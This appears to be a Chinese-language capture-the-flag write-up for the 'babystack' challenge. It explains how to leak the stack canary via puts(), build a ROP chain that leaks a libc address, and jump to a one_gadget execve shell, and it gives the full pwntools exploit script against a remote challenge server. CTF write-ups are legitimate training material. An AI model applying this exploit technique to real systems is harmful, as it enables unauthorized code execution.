不过问题在于开了canary所以溢出有难度, 不过v6是canary保存的变量, 而且栈位置在s数组的高位, 所以可以通过puts()泄露出canary, puts函数是打印直到’\0’字符为止, 所以溢出可行, 劫持执行流到ROP泄露puts函数地址, 计算出libc基址, 然后调用execve()
这里用one_gadget, 坑点在于记得计算服务器上的execve地址
from pwn import *
from pwnlib import context
from pwnlib.util.cyclic import cyclic
context.log_level = "debug"
URL, PORT = "111.200.241.244", 53919
sel = 0
io = process("./babystack") if sel == 0 else remote(URL, PORT)
pad = 0x88
pop_rdi_addr = 0x0000000000400a93
ret_addr = 0x000000000040067e
elf = ELF("./babystack")
libc = ELF("./libc-2.23.so")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
puts_symbols = libc.symbols['puts']
main_addr = 0x0000000000400908
execve = 0x45216
payload1 = b'z' * (pad - 1) + b'y'
io.sendlineafter(">> ", "1")
io.sendline(payload1)
io.sendlineafter(">> ", "2")
log.info(io.recvuntil(b'zy\n'))
canary = u64(io.recv(7).rjust(8, b'\x00'))
log.info("canary leak success: %#x", canary)
io.sendlineafter(">> ", "1")
payload2 = cyclic(pad) + p64(canary) + cyclic(8) + p64(pop_rdi_addr) + p64(puts_got)
payload2 += p64(puts_plt) + p64(main_addr)
io.send(payload2)
io.sendlineafter(">> ", "3")
puts_addr = u64(io.recv(8).strip().ljust(8, b'\x00'))
log.info("puts address leak success: %#x", puts_addr)
libc_base = puts_addr - puts_symbols
execve_addr = libc_base + execve
payload3 = cyclic(pad) + p64(canary) + cyclic(8)
payload3 += p64(execve_addr)
log.info(io.recv())
io.sendlineafter(">> ", "1")
io.send(payload3)
io.sendlineafter(">> ", "3")
io.interactive()
总结
如果本地开了其他检测机制, 可能打不通